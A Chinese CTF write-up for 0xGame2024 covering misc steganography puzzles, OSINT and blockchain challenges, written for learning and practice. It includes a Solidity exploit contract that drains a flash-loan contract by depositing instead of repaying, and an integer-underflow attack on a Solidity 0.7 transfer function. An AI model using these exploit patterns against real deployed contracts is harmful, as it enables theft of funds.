# 0xGame2024

搬运的官方 WP(部分)

# MISC

# 加密的压缩包?

⽤ 010editor 查看,压缩包末尾给了⼀个 password,可知这个压缩包原本应该是被加密了的。

但是从 加密标识位(下图选中部分)来看,这⾥是被设置成了未加密,因此这⾥其实是个伪不加密
QQ20241120-102128.png
QQ20241120-102222.png
将加密位改为 09 以后保存,输⼊密码 0xGame2024 即可解压
QQ20241120-102338.png

# 报告哈基⽶

题⽬附件只给了⼀个 mijiha.png ,拖⼊ 010 Editor 看⼀下,⼀眼就能看⻅⽂件尾的逆置字符串,再关注⼀下 chunk 块就能发现倒数第⼆个 IDAT 块未满的情况下还跟了⼀个 IDAT 块,不过其实眼神好⼀些可以直接注意到上⽅的 txt.ahijim
QQ20241130-103337.png
先对⽂件尾的字符串逆置⼀下可以得到:

Maybe You Need To Know Arnold Cat?

查阅资料可以知道这是猫映射变换,可以进⾏逆变换,不过需要知道 a,b 参数以及
shuffle_times 置乱次数 ,经过⼀些尝试可以发现这些参数通过 LSB 隐写进图⽚中了,可以⽤
stegsolve,也可以⽤ zsteg:
QQ20241130-103558.png
之后编写脚本或者直接在⽹上找到逆变换脚本即可解出 flag 前半部分(这里找脚本花了点时间,不然应该是 3 血...):

from PIL import Image

def arnold_decode(image,a,b):
    decode_image = Image.new(image.mode, image.size)
    h,w = image.size
    data = image.load()
    ddata = decode_image.load()
    N = h
    for y in range(h):
        for x in range(w):
            nx = ((a * b + 1) * x - b * y) % N
            ny = (y - a * x) % N
            ddata[ny, nx] = data[y, x]
    return decode_image
    
img = Image.open("mijiha.png")
origin_img = arnold_decode(img,35,7) //a和b的值
origin_img.show()

QQ20241130-104039.png
再分析多出来的 chunk 块,仔细观察可以发现是 zip 逆置了,提取出来:
QQ20241130-104149.png
解压得到 mijiha.txt

?reppuT sihT sI
2526565031717334081355849302824518400002066054780560033875031426082285618693525
3197947986260660061254903632195060862841955904524591906806462061364308502305093
2619286392265892437331136910010009953251537997460505708306515998831852308855434
2510823923801250157027140252790785117812414283997607047894726844336402237327944
2990707067394596729387386831719959265436919835123671909480195776896949753133113
1678724441340620116821065803071781191275190780231200490991180560260984739111695
0248882484065492329404895296665244558410377999740959307786584149849

同样将其整段逆置:

9489414856877039590479997730148554425666925984049232945604842888420596111937489
0620650811990940021320870915721911871703085601286110260431444278761311331357949
6986775910849091763215389196345629599171386837839276954937607070992449723732204
6334486274987407067993824142187115870972520417207510521083293280152434558803258
1388995156038075050647997351523599000100196311337342985622936829162390503205803
4631602646086091954254095591482680605912363094521600660626897497913525396816582
2806241305783300650874506602000048154282039485531804337171305656252
Is This Tupper?

查找 Tupper 相关资料,发现有在线⼯具可以直接解,拿到 flag 后半部分:
QQ20241130-104323.png
或者在 github 上也能找到相关项⽬ https://github.com/cariad/tupper:
QQ20241130-104459.png

# Blockchain

# 肘,上链!

此题可以参考这一题:https://blog.csdn.net/Nanian233/article/details/134053768

  1. 先 nc 创建账户
    QQ20241120-102604.png
  2. 拿给的账号去⽔⻰头上接⼀下⽔(接水的地址题目会给)
    QQ20241120-102705.png
  3. 部署题⽬合约
    QQ20241120-102756.png
  4. 打开 metamask(⼀个浏览器插件),如下图连接到 RPC,其中链 ID 随便填⼀个它就会告诉你正确的链 ID
    QQ20241121-101856.png
  5. 切换到该⽹络,拿⾃⼰的账⼾也去⽔⻰头上接⼀下⽔
    QQ20241121-101953.png
  6. 获取⼀下题⽬合约
    QQ20241121-101856.png
  7. 打开 remix,这⾥新建⼀个⽂件,把题⽬合约复制过去,这里 remix 的操作不会的可以参考 CSDN 的博客内容。
    QQ20241121-102157.png
  8. 选择相应的版本,编译合约
    QQ20241121-102320.png
  9. Environment 中选择 Injected Provider - MetaMask,注意 metamask 的⼩窗⼝要点开看⼀下是否连接成功
    QQ20241121-102409.png
  10. 将前⾯ nc 时给的合约地址复制过来到 At Address ⾥⾯,点击 At Address
    QQ20241121-102457.png
  11. 题⽬的合约代码很简单,要求传的值需要与 Hello0xBlockchainkeccak256 哈希值相同,这⾥⽤ web3py 计算⼀下,或者在线网站计算一下都可以。
    from web3 import Web3
    s=b"Hello0xBlockchain"
    w3 = Web3()
    hash_bytes = w3.keccak(s)
    hash_hex = hash_bytes.hex()
    print(hash_hex)
    
  12. 得到的结果复制到 sign ⾥⾯,前⾯记得加上 0x,然后点击 sign,中间有个交易的对话框,确认⼀下
    QQ20241121-102719.png
  13. 点击 isSolved ,看到值已经返回了 true
    QQ20241121-102815.png
  14. 回到 nc 那边,get flag
    QQ20241121-102900.png

# theft

通过在 execute 中执⾏ deposit,来替代还款,从⽽可以达到借了就还但是⾃⼰的余额越来越多

Exp:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

interface FlashLoan {
    function deposit() external payable;
    function withdraw() external;
    function flashLoan(uint256 amount) external;
}

contract Exp {
    FlashLoan public FL;
    
    constructor(address _addr) {
        FL = FlashLoan(_addr);
    }
    
    function attack() external {
        for(int i = 0; i < 9; i++){
            FL.flashLoan(100 ether);
        }
        FL.flashLoan(99 ether);
    }
    
    function execute() external payable {
        FL.deposit{value: msg.value}();
    }
}

先 at address 部署 Setup.sol 获取 target 地址,然后填⼊构造函数部署再调⽤ attack 即可

# OSINT

# 互联⽹的⼀⻆

访问题⽬⻚⾯,摁 F12 就可以看到前端有注释
QQ20241130-104939.png
这⾥的注释指的是要求查询 CNAME 记录,后⾯上的 hint 中也给出了。查询 CNAME 记录的⽅法其实有很多,ping、nslookup、dig 等等都可以,最简单的就是这⾥直接 ping ⼀下。
QQ20241130-105043.png
对于.github.io,如果有经验的话⼀眼就知道这是 github pages。如果不知道,查找⼀下也很快能得知,这是 github 上⼀个叫做 oxg4me2024 的⽤⼾搭建的⻚⾯,去 github 上搜索⼀下这个⽤⼾。
QQ20241130-105156.png
⼀路顺藤摸⽠找进去,可以找到 flag.txt
QQ20241130-105240.png
但是 flag.txt 的内容并不是 flag,这⾥点击右上⻆的 History,查询这个⽂件的修改历史即可看到 flag
QQ20241130-105311.png
QQ20241130-105404.png

# 我哪来那么多臭钱??

具体的部署等操作这⾥就不再赘述了,参考前几题。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;

contract Challenge {
    mapping(address => uint256) public balance;
    bool public solve;
    constructor() {}
    
    function Get() public {
        balance[msg.sender] = 50;
    }
    
    function Transfer(address to, uint256 amount) public {
        require(amount > 0, "Man!");
        require(balance[msg.sender] > 0, "What can I say");
        require(balance[msg.sender] - amount > 0, "Mamba out!");
        require(uint160(msg.sender) % (16*16) == 239, "Sometimes I ask myself,who am i?");
        balance[msg.sender] -= amount;
        balance[to] += amount;
    }
    
    function check() public {
        require(balance[msg.sender] == 114514);
        solve=true;
    }
    
    function isSolved() public view returns (bool) {
        return solve;
    }
}

先来看合约代码。Get 函数为初始化 balance 为 50,check 函数为检查余额是否为 114514,当余额为 114514 时,isSolved 函数返回 true。

主要是 Transfer 函数,⽤于向某个地址转账,但这⾥做了⼀系列的限制。要求转账⾦额、转账前余额、转账后余额都⼤于 0,另外要求当前发起转账的⽤⼾地址后两位为 ef。

这⾥有两个考点,⼀个是整数溢出,我们可以注意到 solidity 版本为 0.7.0,balance 和 amount 的类型都为 uint256,即数据⼤⼩在 0~2256 之间。代码中有 balance [msg.sender] - amount > 0 的要求,但是如果 amount > balance [msg.sender],那么会发⽣什么?显然值并不会变为负数,这⾥值会直接变成 2256 - amount + balance [msg.sender]。因此,我们只要使 amount 的值为 2**256-114514+50 即可。这⾥其实有些师傅是想复杂了。

另外⼀个考点其实是虚荣地址(vanity address),也就是后来给的 hint 中所指的。虚荣地址就是⽤⼾
⾃⼰⽣成的具有某⼀特殊组合的地址,google ⼀下其实不难找到有⼀个在线⽹站可以⽣成虚荣地址,如下图所⽰。
QQ20241130-110254.png
但其实⾃⼰或者让 GPT 帮忙搓⼀个脚本其实也不难.

from eth_account import Account
import secrets
def find_address_ending_with_ef():
    while True:
        private_key = '0x' + secrets.token_hex(32)
        account = Account.from_key(private_key)
        address = account.address
        if address.endswith('ef'):
            return private_key, address
private_key, address = find_address_ending_with_ef()
print(f"Private Key: {private_key}")
print(f"Address: {address}")

接下来导⼊私钥就可以⽤了。

先 get
QQ20241130-110506.png
然后 transact,to 的地址随便填就⾏
QQ20241130-110554.png
再 check,可以看到 isSolved 返回了 true
QQ20241130-110624.png
拿到 flag
QQ20241130-110654.png